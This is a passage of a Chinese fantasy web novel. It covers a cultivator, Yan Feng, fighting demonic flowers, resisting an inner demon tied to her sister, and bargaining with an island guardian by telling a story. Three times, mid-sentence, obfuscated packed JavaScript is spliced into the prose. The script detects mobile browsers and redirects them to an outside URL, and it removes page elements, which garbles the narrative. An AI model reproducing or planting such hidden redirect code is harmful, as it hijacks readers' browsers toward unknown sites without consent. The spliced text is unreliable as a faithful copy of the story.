一声噼啪脆响,碎玻璃形状的花瓣落了一地,少女失力的落下,鄢丰趁她落地被那玻璃花瓣扎到前抱住她,才微微松了口气。 然而刹那间变故陡生!下一刻,数不清的相同形态的巨大魔花张牙舞爪的循着血腥味道,朝着他们所在之处伸展出花茎。鄢丰来不及找到安全的地方安放那少女,不敢大意,一手抱住昏迷不醒的少女,右手拿住树枝。 团团围困住他们的花似乎没有灵智,张着花瓣儿露出空空荡荡、散着强烈而纯粹魔气的花蕊,那其中密密麻麻的花蕊也变得巨大且更加密集,只看一眼就教人头皮发麻。 下一刻,魔花花瓣不约而同的张开,其中的花蕊似乎像是章鱼的八爪一般,无数麻绳粗细的花蕊缠住鄢丰的身体。 鄢丰眼神一冽,右手拿着树枝,丝毫不惧。 她伸出手臂,却不料一阵疼痛猝不及防而来!手中树枝脱手,只在长长的花蕊身上划出一丁点儿细痕。 这却似乎更加激怒了那变异的永夜花,瞬间将她四肢腰部全部紧紧缠住,动弹不得! 糟糕!鄢丰心中暗叫不妙,左手手腕儿也被花蕊丝丝缠住,手上却仍然将那昏迷的少女压在怀中。 那微弱的灯光不知什么时候熄灭了,此刻又是漆黑一片。鄢丰索性闭上眼睛,专心听着耳边不断的风声和巨大的永夜花几乎耳朵可以听到的咔哧咔哧生长的声音。 身上的花蕊丝眼看着越缠越紧,鄢丰感觉几乎要窒息。片刻,她感受着从脸颊边滑落的汗水带来的痒意,很快深呼吸三次。 此刻全身每一处都身陷囹圄,只有两个办法。 第一,强行挣断身上的束缚。 第二,使用灵气,强行爆破! 浑身上下被巨大的拉扯感压迫到极致,右臂已然失去知觉,只有浓重的血腥味传来。鄢丰不知道是哪里的伤势。 好在方才为了保住那姑娘,将左手死死护在胸前抱住她,此刻只有左臂尚有希望挣脱束缚。 . 鄢丰紧闭着眼睛,咬牙忍着这分尸的痛楚。 恍恍惚惚几乎觉得自己要死去。 她断断续续的想,她是自断灵脉离开的昆仑。 ——“鄢丰,你可知错?” ——“即便是你要自请离开,我昆仑也绝不容忍门下弟子有与魔族勾结之嫌疑!你须自断灵脉,许你七七四十九日修养之后,便自行离去罢。” ——“师父,你疯了?!师姐可是我们昆仑百年难遇、天生的——” ——“……鄢丰,谨尊师命。” 鄢丰记得那一日的昆仑,竟一日之间山花烂漫,杜鹃纷纷而落,满地艳红,美不胜收。 她的师父亲眼看着她将灵脉断尽,却颤着声音念念:“‘天下兼相爱则治,交相恶则乱。不可以不劝爱人者,此也。’……鄢丰,《兼爱》一篇,你可还记得?” ——“如今你道心几乎尽毁,灵脉已断,断不可再用墨家心法,动用你心里藏着的那份力量。鄢丰,切记切记。” ——“不必多虑……机缘到了,你之诚心,自会破茧而出。鄢丰,不破不立,这是你的命。” . 鄢丰艰难的睁开眼,一滴泪猝然滑落。 绝境之中,难道真的没有第三条路么? 鄢丰长叹一声,闭一闭眼又睁开,她咬着牙,连嘴唇都痛得颤抖。却低着头,自顾自的、声音微弱的念念,与那一日师父颤然之声相和—— “……天亦何欲何恶?天欲义而恶不义。然则率天下之百姓,以从事于义,则我乃为天之所欲也。我为天之所欲,天亦为我所欲。然则我何欲何恶?我欲福禄而恶祸祟。若我不为……” 随着字句入耳入脑,倏忽之间,鄢丰灵台一瞬清明,胸口跳动的心脏声在耳边放大,释放出柔和的光芒,将她此刻满身鲜血伤痕的身体笼罩。 倏忽之间,她灵台一瞬清明,胸口跳动的心脏声在耳边放大,释放出柔和的光芒,将她此刻满身鲜血伤痕的身体笼罩。 下一刻,只听一声闷响,缠住她四肢和腰部的花蕊丝应声而断! 她右臂此刻以一种诡异的姿态扭曲着,肩膀也已经被魔花巨大的力量拽的脱臼,左手也传来酥麻的感觉,近乎失去了知觉。鄢丰颓然跪倒在地上,仍是轻轻将怀中的少女安放在身边土地上。 然而,那突然被逆转形式的魔花又怎会轻易善罢甘休,它们似乎不断的吸收着养料,源源不断的生出新的花蕊丝,片刻之间,再次朝向鄢丰二人而来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557255|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鄢丰咬着牙站起来,膝盖打着颤,却仍是艰难的爬到一边捡起掉在地上的树枝。她折了牢固的一枝,此刻只断裂开一半,尚且可以一用。 她仅存的左手挥舞出剑气,逼退近在眼前的几株花。然而即便永夜花是魔域极少见的物种,在此处专门培植之地也仍然数量不少。此刻仍然数量仍然还在不断的增加。 顷刻之间,鄢丰已然击碎满地落花,然而永夜花却不减反增,不论从哪里出手,那花都能很快自我修复起来。 她目光凝重,警惕着危险的靠近,又不能放着昏迷的少女不管,正欲再次将她扛在肩上,那少女却悠悠转醒,惊恐的瞪大眼睛看着眼前发生的一切。鄢丰来不及解释,没想到那少女反应却更快,拉起她的手:“姐姐,你跟我来!” 那少女似乎对这里的地形极其熟悉,即便遍地几乎都是变异的永夜花,她也轻巧的带着她穿梭在这土地上,巧妙的躲开了好几波永夜花的袭击。 不知过了多久,少女终于有要停下来的迹象,将身后穷追不舍的花甩得老远:“姐姐,你再坚持一下,到我的屋子里去,我们就安全了!” 她死死牵着她的手,朝着那遥遥可见的茅草屋而去。 他们到达的出乎意料的顺利,少女正要松一口气,才发现眼前似乎蒙上一层黑雾,一个身影就站在她茅屋前。 “站住。” 黑雾散去,现出人形来。 一身黑衣的魔君环抱双臂,身上衣袍仍然完好的一丝不苟,风度翩翩。 少女惊疑不定的看着眼前的不速之客,抓着鄢丰的手紧了几分,警惕起来,声音颤抖着问:“……你是谁?” 第五昭并不说话,也不理会她身后的鄢丰。反而从袖中拿出什么东西来。 借着微弱的天光,鄢丰依稀看出那似乎是一个小瓶子。长得很精致,流光溢彩的样子,制作成了钻石般一棱一角的形状。 第五昭端详起手中的小瓶子,看向此刻目光变得惊惧复杂的少女,半晌,慢慢笑道:“你的东西?” 少女沉默着同她对峙,第五昭一挑眉:“不想承认?” 少女眉头蹙起,突然松开拉着鄢丰的手,眉间怒气增长,跑过去抢他手中的小瓶:“还给我!” “还你?”第五昭似乎是听到了什么好笑的事情一般,笑起来,正要说点什么,不料身后数株永夜花已然循着味道而来,花蕊丝丝伸出,竟是妄图将此处的三人一网打尽! “啧。” 第五昭被打断了话,不悦地蹙起眉,手中魔气陡生,将周身的永夜花尽数连茎拔起! 突然之间,这一处光芒大盛,第五昭脸色一变,竟猛地呕出一口血来。 眨眼之间,遍山传来“叮叮叮”的急促响声!那是禁制被触发,提示外来者的到来的警报声! 刺耳之声不绝于耳,那些永夜花却并不就此罢休,很快,又再一次找到立足之处,重新袭来! “……瞧瞧你自己做的好事。”第五昭一抹嘴边血迹,眉宇间充满不耐,一边捏碎身边永夜花的花瓣。 碎玻璃声轻响,他不知何时褪去了手套,此刻徒手捏碎那花瓣,有细小的碎片扎在掌心,慢慢流出血来。 那永夜花被他的血浸润,一瞬间竟然停下了攻击,缓缓地张合着花瓣儿,低眉顺眼的乖巧模样。 “呵,低阶的魔物。”第五昭轻蔑的笑了笑,却并不在意还在滴血的手掌,反而再次看向那少女,声音低沉,威胁道:“说,谁叫你这样做的?” 少女无辜的睁大眼睛:“……我……我不知道你在说什么……” “你在装什么?”第五昭面色不善的低头,将手中小瓶随手一扔到地上,一手扼住她纤细的脖颈,慢慢将她提起,“快说,我耐心有限。” 泪水在少女眼眶中打转,不知是因为缺氧还是因为委屈,纤长的睫毛不断颤抖着,眼泪断续续滚落下来。 而禁制被触动的警报声越来越大、越来越急促起来。第五昭似乎耐心耗尽了,五指霎那收紧! 鄢丰下意识一动,却不想这一动牵起浑身的伤口,直直跪在了地上!她喘着粗气,狼狈的发出一个音节:“别……” 一道不寻常的光芒从下向上照亮三人的模样,下一刻,在三人惊讶的神情当中,脚下传送法阵已然光芒大盛,瞬间启动! . 5. 孤岛(上) . 鄢丰被剧痛惊醒。 她慢慢睁开眼睛,艰难的坐起来,打量着四周。 身下是深棕的土地,四周空无一物,方圆十里感觉不到任何活物的气息,也没有任何多余的声音,天是淡淡的蓝色,阳光普照。但除此之外,再无生机。 鄢丰恍然间以为自己又回到了人间的哪一处,几个月来第一次见到阳光,不适应的眯了眯眼睛。 她抿了抿唇,又慢慢地躺了回去。 这里不是人间。 这个地方虽然看似与人间相似,实则并无活物气息,连风都不曾起,一切都静悄悄,蹊跷而诡异。 鄢丰怔愣着看着淡蓝的天,右臂传来火辣辣的痛,即使稍稍一动,都可以听到骨骼咔咔响声,血腥味以她为中心发散,道袍粘腻贴着骨肉,紧紧相连;反倒是双腿已然有了痊愈的迹象,只是还是没什么力气。 鄢丰不知道自己睡了多久。 但她忽然觉得很轻松,这一日让她感到了疲惫,而此刻终于可以安心躺在地上,安歇片刻了。 . 鄢丰似乎做了一场长梦。 梦里,她还没被昆仑山的师姐们带回师门去。她依然是那个无忧无虑的鄢丰。平时照顾照顾自家的田地,偶尔找几个小子约架…… 鄢丰有个妹妹,名唤鄢年,本是一母同胞的姊妹。 二人长得本是极像的。可性格却大不同,按父母的话讲,鄢丰天生就皮实,别看平常话不多,事到临头是个有担当的。 因此遇事她总爱把鄢年护在后面,每次下地里耕种也从不让鄢年去,回回是鄢丰自己干一整天。还美其名曰这是姐姐理应做的。 鄢丰就爱护着她的年年。 鄢年也乐得躲在她身后。 久而久之,鄢丰皮肤晒得黝黑,肌肉结实粗糙,像磨了砂的面儿——只是这些年在昆仑,久不归家,这才恢复了些。鄢年却始终是那副白嫩嫩的模样,水灵可爱。 鄢年天生文文静静,笑起来温柔极了,连那阳春三月的艳阳都及不上她半分。 梦里,正是那一年,她同鄢年一起去山里冒险,她朝她伸出一只手拉她到岩石上。 那个时候她还没去昆仑,不爱上学堂去,反而是鄢年爱看书,跟她讲:“鄢丰,我们站在山顶呢。”她眉眼弯弯,很开心的样子,“曾有位诗人写过一句话‘会当凌绝顶,一览众山小’……可惜咱们这儿就只有这么一座山。" 还是三面山里最矮的一座了。 鄢年语带向往的笑,但除了开心的情绪,却并无遗憾与叹息,嘴上说:“我也好想看看,到底什么是一览众山小啊。” 鄢丰其实并不明白什么叫一览众山小,但她那时拉着她的手说:“那以后我带你去看!” 鄢年脸红红的,不知道是听了她的话还是日头太晒,笑起来像一颗极好吃的苹果,只看见她一点头:“好呀。” 后来她去了昆仑山。 可也只有她一个人去了。 昆仑来的仙长,也是她后来的师兄师姐们,仙风道骨,风度翩翩,只瞧了她一眼,便说她天赋异禀,可愿意随他们到昆仑山上去修行。 鄢丰说:“我要留家里。” 领头的那位掩唇笑起来——那是她后来的大师姐,名叫作贺灵。贺灵笑着拍拍她的头,柔声问她:“为何呢?你不想和我们一样,到那山上去,享万寿福,学护心剑么?” 鄢丰摇摇头:“我的家人在这里,我不去。” 贺灵却不愿意放弃这样的天才,便问:“可否带我们见上他们一面?” 鄢丰带着他们到家里去,父母尚未归家,他们先见了鄢年,起初是很惊喜的,以为一次遇到了一对天赋异禀的双生子。可是贺灵身后的少年却皱着眉说:“这是天生魔种。” 鄢丰心下一惊,将鄢年紧紧护在身后。 贺灵却笑得更开心,只摸摸她的头,说:“你是个好苗子啊。” 等待父母回了家,看到来的一行人,脸色都变得凝重。但贺灵真是最好的师姐,她不顾其他人的阻拦,执意要同她父母谈一谈。直到打更了才离开。 鄢丰看到母亲掩面而泣,父亲眉头紧皱。她便拦着贺灵问:“仙长,你们同我爹娘说了什么?” 贺灵蹲下来和她视线相对,想了想,说:“你是天生灵脉,而你的妹妹,却是天生魔种。”她冷静的看着鄢丰,“你知道,在我们这儿,是不欢迎魔族的……尤其是,生下来便有原罪的天生魔种。” “即便她此刻活下来,也不会受人欢迎,相反要受人鄙夷;何况,天生魔种,打从诞生起便是带着诅咒而生的。” 鄢丰忿然看向她,但没有说话。 “你是好孩子。你想保护他们吗,你爹娘,还有你的妹妹。”贺灵这样告诉她,“你得变强大。到昆仑来,你会变得很强。终有一天,你可以强大到保护他们不受到任何伤害。” 鄢丰问:“你们昆仑也那样看待魔族的人吗?” 贺灵抬起头,看向最远处的那座高山,目光幽幽:“你要知道,昆仑有很多人。……我没法向你保证这个。但是,我却可以向你保证,我,和我的师父,我们都希望啊,总有一天,这世界上所有的偏见,都能被一一打破——包括人与魔。” 她又笑起来,朝她伸出手,在柔和的月光下显得温柔而美丽:“此路注定孤独,可是我却想问你,愿不愿意陪我闯一闯?” 鄢丰于是说:“我跟你走。你要做我的师姐。” 贺灵眉眼一弯,伸出手来:“一言为定,我们拉钩!” 她到了昆仑去,学了诗书,也学了法术,知道了鄢年说的那个“会当凌绝顶,一览众山小”。 甚至于她也见识过—— 昆山十八脉,她在最初入门的时候,便一步一步,蹒跚着爬上了最高那峰。 山下云雾缭绕,隐约见绿翠色的山,淡粉的瓣儿,煞是美好。 她那时想,年年一定会喜欢。日后定要带她来瞧瞧。 . 鄢丰的这场梦,好像没有尽头。因为太美好,她甚至不愿醒来。 而梦外,此刻鄢丰伤痕累累的身体竟浮着一层浅淡红光,一圈又一圈,将她缠绕、束缚,却无形无声。砰然跳动的心脏已然被丝缕阴翳笼罩,她忘记了疼痛,两手伸出,环抱着身上的虚影—— 正是鄢年的模样。 . “鄢丰,再不醒过来,你要入魔了。” 刹那间,梦中万象尽数破碎,鄢丰孤身一人站在黑暗之中,耳边有个熟悉的声音在说—— “心魔。” 昏昏沉沉间,她仿佛又回到下山前那日,白纱覆眼的少年面无表情同她说:“鄢丰,她会成为你的心魔。” “我知道。” “鄢丰,分毫痴念,都会对你造成极大的影响。” “我知道。” 可我也只有她。 所以即便是心魔,她也要甘之如饴的藏在心里最深的地方。 . 鄢丰不知道自己睡了多久。 她疲惫的睁开眼,缓缓坐起身。力气恢复了,她面无表情将脱臼的右手接好,活动一番。伤口虽然还没痊愈,但已经不那么疼了,站起来走了走,也不再觉得艰难。 她想起那个梦,不敢耽误,立刻盘腿坐下调息。环绕心的魔气已然消散殆尽,鄢丰呼出一口气。 鄢丰有一颗澄澈琉璃心,天生如此。这颗心天生纤尘不染,灵性强大,心性上上佳。也正因如此,本不该心魔滋生,乃至于险些入魔。 可即便是世间至纯至善之人,面对这红尘险象环生,也仍然步步惊心,行差踏错一步,便是万劫不复之深渊。 人生难测,她上昆仑,初心只为守护所爱之人。 可是等她学成,父母已逝;姊妹饱受血脉痛苦,她却已自断灵脉,离开昆仑;等到她下了山回到家,世上至亲,尽皆不再。 刹那间,心魔再次将她的心牢牢包裹住,几乎要扼住它再跳动下去。 它在她耳边喃喃自语:“鄢丰,贺灵骗了你。” “鄢丰,你很痛苦。” “这是何苦呢,鄢丰,只有我,才是真的为你好啊。” “——鄢丰,为别人活着的滋味,你不是已尝尽了苦楚了么?” “为什么不为自己活一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557256|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 鄢丰闭上眼睛,不断默念着《兼爱》的每一句话。 “我有什么错?!” 那声音愈发尖锐刺耳,可是鄢丰却知道,那正是她自己的声音。 她皱着眉,不断听着它向她倾倒苦水,可身体却岿然不动,《兼爱》在脑中不停的念,不停的回响。直到那个声音安静下来,她呼吸才平稳起来,缓缓站起身,像是回答那心魔,也像喃喃自语,漠然开口: “我如今之心,早不再同八岁稚子童言一般。” 心魔顷刻间消散。 但鄢丰垂下眼眸,看向心脏跳动的位置,一切并未到此为止。它仍在伺机而动,等待下一个机会。 她所言几分真几分假,几分言不由衷,几分似懂非懂,都被自己的心,参透的一清二楚。 . 鄢丰已在这座孤岛寻了半日出口,但仍然没有头绪。 她终于停下来,席地而坐,回想着来这里前发生的事情。那时传送法阵突然开启,当时在场的那位小姑娘,她和阿昭三人都在传送阵范围内,如此一来,应该他们都被传来这里了。可是这里,鄢丰已探过了,这里不大不小的一片土地,实则是有边界的,但却和通常的孤岛不同,四面并非环海,而是虚空。 虚空乃是最易迷失之处,然而却从未听说过虚空之中能凭空诞生一块儿土地来。 而鄢丰在这岛上连日来从未见过其他的活物,何况是一起被传送过来的大活人。这里没有其他人在。 因此,这里多半是个幻境,或者有什么障眼法,让她发现不了活物的存在。 另还有一种可能—— 那传送阵不知道为什么只将她传送了过来,而这座岛,就是没有活物存在的。 但传送阵怎会失效?何况,一块没有任何活物的死岛,又为什么将她带了来? 鄢丰正沉思,忽然听到天外传来一声巨响。她皱起眉—— 难道玄机在天上? 而天外除了那声巨响以外就再也没了动静。 可是那声巨响响起的同时,她没有放过那一刹那传过来的气息。是第五昭的气息,还有其他的,灵鸟的气息,而最重要的是,鄢丰在那复杂的气息之中敏锐的分辨出一个熟悉的味道—— 那是她魂牵梦萦的某人的气息。 鄢丰抬起头,沉思起来。 第五昭也被传送过来了,却不知道在哪里。 而这里,不知为何有鄢年的气息。虽然很微弱,但却瞒不过她去。而她来到这里便不断的梦见从前和鄢年在一起的时光,或许并非仅仅只是心魔作祟那么简单…… 这座岛,十分蹊跷。 鄢丰想到那些梦,想起心魔,想起这座岛空空荡荡、渺无人烟的情形,几乎可以确定,这一定是障眼法。 只是这障眼法实在高明,连她也不能第一时间确认。 既然确认了是阵法将她困在这里,那么只要找到阵眼生门,就可以离开了。 然而此处渺无人烟,一路走来岛上几乎没有任何景物的变化,又是以何为媒做的阵? 阵法一道以《易》为基,而这阵法的设计者十分高明,不以他物为媒介,那么就只能以这座岛本身为媒介,或者……以外来者自身作媒介。但当然不可能是前者,因为这座岛显然是“接待”外来人的,如果一次被破阵,成本太高了。 那么也就是以来者自身为媒介,鄢丰想了想,在地上以手指作笔画下一卦—— “困”。 “——初六,臀困于株木,入于幽谷,三岁不觌。” 鄢丰缓缓念出一段爻辞,下一刻,幻阵便应声而破。 很快,面前景物变了又变,最终面前出现了一个石洞,石门洞开,鄢丰走进里面去,便看到第五昭正双手握拳同一个陌生女子缠斗。而那女子却只是轻轻一动手,便轻易将第五昭掀翻在地。 鄢丰心一跳,正目睹了这一幕。第五昭眼眸赤红,站起来,还要再打;却被女子一抬手便阻挡起来,显得滑稽而狼狈,而女子却漫不经心朝她看来,默了默,半晌,清泠之声如鸣环珮: “欢迎来到,失落之地。” . 6. 孤岛(下) . 第五昭惊疑不定的看着那女子,不论如何出招,都似乎打在了一面吸收法力的墙上。 他体力已经耗得差不多,微微喘着气,打出的招式也逐渐显出颓势来。 他眼睛已经彻底变成红色,并无恢复的迹象,然而那双一向是嗜血狂傲的眼睛此刻竟然透露出三分无助和颓丧。 女子仍是淡淡的,不言不语,任这空气之中紧张的氛围渐渐弥散。 鄢丰却已然明了,只细细打量起面前的女子。 第一眼看到她,鄢丰便想起从前曾在书中读过的那“巫山神女”。面前女子,冰肌玉骨,面容清冷,身着一袭绿衣,举手投足尽皆风情。 半晌,鄢丰笑了笑,抱拳道:“在下鄢丰。敢问姑娘,又是何方神圣?” 女子此刻端正坐在石凳上,眸光流转,微微瞥了她一眼,拿起桌上玉杯,与皓腕上紫罗兰玉镯轻轻相碰,响起清越之声,低头一吹茶杯上雾气,才缓缓道:“吾自无名无姓,不过这失落之地小小一个守门人罢了。……不过,按你们俗世的习惯,或可唤吾‘清漱’。” 鄢丰问:“敢问清漱姑娘,何为失落之地?” 清漱抬起眼睛看她一眼,棕色的眸子如琉璃般通透,无端让人觉得直击心底:“失落之地,乃是我主人的藏宝之地。”她似乎聊到鄢丰会继续问下去,娓娓解释着,“万年前,吾主游历世间,曾无意间救过一位下凡历劫的上神。上神许他一诺,说,即便是想要搬到九重天去,也当为他办到,以报当日救命之恩。” “然,吾主偏爱这人间烟火,便向上神求一处安稳地,以收藏他往日的藏品。” 鄢丰皱眉:“藏品?” 她点点头:“吾主酷爱收集‘失落之物’,这也便是他为这里起名叫失落之地的原因。这世上常有人遗落之物、或是受人唾弃的存在,这些东西迷失方向,散佚于虚空之中,而吾主则喜爱将他们带回来收藏起来。——譬如这里,”她盈盈一挥手,“这是最核心的地方,这里都是收藏着这世间最珍奇的宝物。” “吾所记者,譬如这世上最是至纯至善的魔族魂魄,抑或这世上最强大的魔族后人的心脏。”说罢,意有所指的看了第五昭一眼。 鄢丰听到这话却突然眉眼一沉,却仍是不动声色,顿了顿,随着清漱的目光看向第五昭。 第五昭方才在她手下屡屡受挫,终于耗尽体力,靠着石墙,阖眸调息。 鄢丰到了这里才知道,原来在这里,压根儿无法使用法术灵力。因此第五昭一身强大魔力却无用武之处,而那位姑娘却拥有着唯一的使用法术的权利,此番交战,自然无异于以卵击石。 此刻第五昭再次睁开眼睛,却二话不说,再次聚集十成十的力量朝着清漱攻去! 然而那魔气打出,停在她面前三寸,却好像遇到无形的屏障,被尽数化解,端坐着的女子眼皮都曾眨一下,甚至懒得再抬起手敷衍一二。 鄢丰看出第五昭实际上已经无计可施,可是正因如此,他周身戾气愈发强盛,呼吸急促起来,仍然固执再次攻击! 女子终于露出不耐烦的神色,掩鼻看着他:“你若再将你身上的戾气臭味散出来,吾便杀了你。” 第五昭此时还仍然是一双红瞳,亮的吓人,喉咙里发出低低的猛兽般的嘶吼,却只警惕的看着那女子,果真不敢再轻举妄动。 鄢丰则一直看着第五昭出招的过程和女子抵挡、攻击,不错过每一个动作。 半晌,鄢丰问:“我与他误闯此地,清漱姑娘既是此地的守护者,能否指点一二,我们当如何出去?” 清漱皱起眉:“出去?你们既已来了这里,就意味着你们已经成为了主人的私有物了,怎可擅自离开?” 鄢丰和第五昭同时一愣。后者听了这话,身上的魔气又压不住开始暴涨。然而他却没再妄动,故而清漱只是微微一挑眉,不再说话。 鄢丰叹口气:“真的没有离开的办法么?我们也是受人陷害误闯这里,本无意打扰——” “受人陷害?”清漱听完却突然掩唇笑了起来,“吾还是第一回听说,能够有人是被陷害才到这儿来的。” 她似乎被鄢丰不解的目光取悦了,眉梢眼角此刻都带上了笑意,头上珠钗微微摇晃,发出叮当轻响,终于还是补充道:“能来到这儿,就说明是你们本身与这座岛有缘分。” “缘分?” 清漱不置可否,却不愿再多说什么,一时间没人开口。 这里似乎不分昼夜,一以贯之是白天。此刻天色仍然阳光明媚,时间似乎从未流逝过。 女子最终似乎是无聊极了,幽幽的看向第五昭:“你这又是何苦,偏生要破吾洞府封印,扰吾安眠,也给你自己找了麻烦。”长叹一声,最后又目光炯炯的看着鄢丰,“也罢,虽无先例,但想出去也并非难事。” 鄢丰眼睛一亮。 清漱看着鄢丰:“吾主从前游历九州,最是爱听故事。是故,若想出去,便拿故事来换罢。若是吾与吾主皆觉得有趣,便放你们走。” 鄢丰一愣:“……姑娘的主人也在岛上?” 清漱低下头,看向手腕上紫罗兰的玉镯,淡淡道:“吾主早在八千年前便已仙逝。……不过你不必担忧,只因他神魂尚在——”说着,清漱挥袖施法,星点流光闪烁之间,她身后的石墙凭空多长出一个约莫一尺长的石鹿脑袋来,“就在这鹿头里面,若他觉得认可,便……”她回过头看了那鹿头一眼,“便动动身子罢。” “姑娘便是八千年前便守在这儿了么?” 清漱一愣,摇摇头:“万年前,这座岛刚被开辟出来,吾便在此了。” 鄢丰蹙眉,但却不再说什么,只道:“姑娘,可是君子一言,驷马难追?” 清漱漫不经心的点点头:“一言为定。” 鄢丰想了想,笑道:“那便我来讲一个曾在人间听过的,最喜爱的一出戏罢。故事名叫……” “《锁麟囊》。” “传闻,在凡间,有一大户薛家,家中家财万贯,家中有一女,唤作湘灵。” “这湘灵小姐到了出嫁的年纪,许给远方的一位表兄。临行前,薛家为她准备红妆十里,薛家夫人爱女心切,特曾女儿一锁麟囊,盼女儿多子多福,其中装满珠宝首饰,小有价值。花轿行至半路,恰遇瓢泼大雨,湘灵小姐便着人于附近的春秋亭歇脚。” “然而正在这时,突闻有人低声啜泣。他们这才发现亭子里还有一位新娘。那新娘名唤赵守贞,母亲早逝,父亲将她一手带大,如今她却要远嫁别处,只留老父一人在家,不仅悲从中来。” “湘灵听了也心生悲悯,便将锁麟囊赠予了赵守贞。二人萍水相逢,也就此别过。” “谁知天意弄人,六年后,湘灵因水灾与家中人走散,流落他乡,经人推荐做了一富家保姆。一日她带着这家小少爷在园中嬉戏,小少爷将绣球抛上楼阁,湘灵跑去捡回,却正见楼上高悬一锁麟囊,迎风而摆。思及自己二八年华时无忧无虑之时光,不禁抱头痛哭。” “谁知这事儿却被那小少爷告诉了他的母亲,少爷的母亲听了,便想见她一面。” 说到这里,鄢丰顿了顿,却不再讲了,反而看向清漱。 清漱眨眨眼:“然后呢?那位母亲可是当年的那位姑娘?” 鄢丰不答,只问:“这个故事,二位前辈觉得如何?” 清漱一撇嘴:“……还行吧,就算你过关。” 鄢丰抬眼看向那鹿头,静默片刻,后者微微向前动了动,似乎在催促什么。 鄢丰笑起来:“那便是得到两位前辈认可了。”她便继续讲完了故事: “那少爷的母亲果真就算当年收下湘灵的锁麟囊的女子。却说当年她收下锁麟囊,嫁到夫家,靠着其中的财宝做起了生意,渐渐的便做大起来,才有今日这富豪之家。” “于是便将湘灵奉为上宾。说来也巧,很快,湘灵家人也找了来,终于一家团聚。” 清漱听完,想了想,拍手道:“这倒是有趣!从前施予的,倒是帮了自己;兜兜转转,全在一个锁麟囊上!有趣,实在有趣!吾已很久未曾听过这样巧妙的故事了。” 鄢丰一喜:“如此,前辈可否助我们一臂之力,离开此处?” 清漱却顿了顿,上下看了她一番。 “如此一来,便更不能放你们走了呀。” 鄢丰猛地心一沉,蹙起眉头。 “你们若是走了,岂不是再没人给吾和主人讲故事了?你们便安心带在此处好了。” 清漱见状不悦起来,似乎不想再说下去。 鄢丰气结:“……前辈,我们有约在先,你们怎可——” 清漱反倒笑起来:“吾可从来不需讲究你们凡间的诚信道德,在这里,吾就是规矩。吾说了,不许走,就不许走。” 第五昭听了几乎按捺不住,然而鄢丰已然明了,按住第五昭,摇摇头:“……也罢,前辈,那我们便不在此打扰了。” 听到她这样说,清漱终于高兴起来:“不错,这样才对。那么,歇歇也好,休息好了再来同吾讲故事罢。” 鄢丰还是得体一笑,正欲告辞,却突然又折返,问道:“清漱姑娘,敢问这岛上可有柴木火石,生火之物?” 清漱皱眉,狐疑道:“生火?你想做什么?” 鄢丰一笑:“此处不能施法,然而我灵脉已断,又受了伤,有些畏寒,故而才想侥幸问一问。” 清漱了然,点头:“这有何难?”手指一动,变出一盏灯来,灯罩中明明灭灭,小小火苗轻轻跳动着,“吾借你一个火种不就好了么,你若取用,便借这灯盏去用。……至于柴木……岛上的树你随意取用罢。” 鄢丰感激的点点头,接过灯盏,作揖再摆:“多谢姑娘。” . 洞府的门自动关上,第五昭仍然睁着猩红的眼,看向鄢丰。 鄢丰不以为意,只是笑了笑,安抚道:“阿昭,不必担心,我一定会带你出去。” 第五昭却不理会她的话,冷笑一声,拳头朝她袭来!鄢丰此刻却似乎异常躁动,不想同他再浪费精力,眉头皱成川字,闪身避过对方的袭击:“从她那里讨的教训,就还到她那里去,你不必从我这儿找回来。”分明是她在抬头看着他,却无端是自己在被俯视,鄢丰继续道,“阿昭,你若还想出去,最好冷静些。即便这里不能使用法力,也不一定是全无办法出去的。” 第五昭看向她:“你有办法?” 鄢丰摇摇头:“……我不能确定我的想法正确。但是,你得把我来这里前发生的事情都告诉我,我才好再做判断。” 鄢丰看他仍然将信将疑,又补充道:“我有必须离开的理由,我也没必要骗你。阿昭,”她似乎着急起来,抬起步子就往前走,“若是你不愿助我,还请莫要再节外生枝。” 鄢丰此刻正心烦意乱,心魔在耳边不断的又念叨起来,她一遍遍念墨家的心法才堪堪压制,而鄢年的魂魄就在这座岛上,她一刻也不想再耽误。 不管付出什么代价,她都要带她回去。 如今如果没法从第五昭那里取得线索,那么便只能在这岛上走一走,再做打算。 鄢丰深呼吸一口气,逼迫自己冷静下来。 虚空之中,原本不可能出现人可以生存其中的领域。而按照那清漱的说法,这片土地是一位上神亲手开辟的,也并非无有可能。然而,若是适宜人居住的陆地,即便在虚空当中,也不可能禁止法力的使用。 何况,清漱的法力是可以正常使用的。那么就证明这是有强力的阵法在限制法力的输出,而如果是阵法—— 就一定有法可破。 鄢丰停下脚步,突然发现第五昭竟仍然跟在她身后,此刻见她停下来,眼前一亮:“你想到了什么?” 鄢丰此刻已经冷静下来,不禁失笑:“猜测一二罢了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557257|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 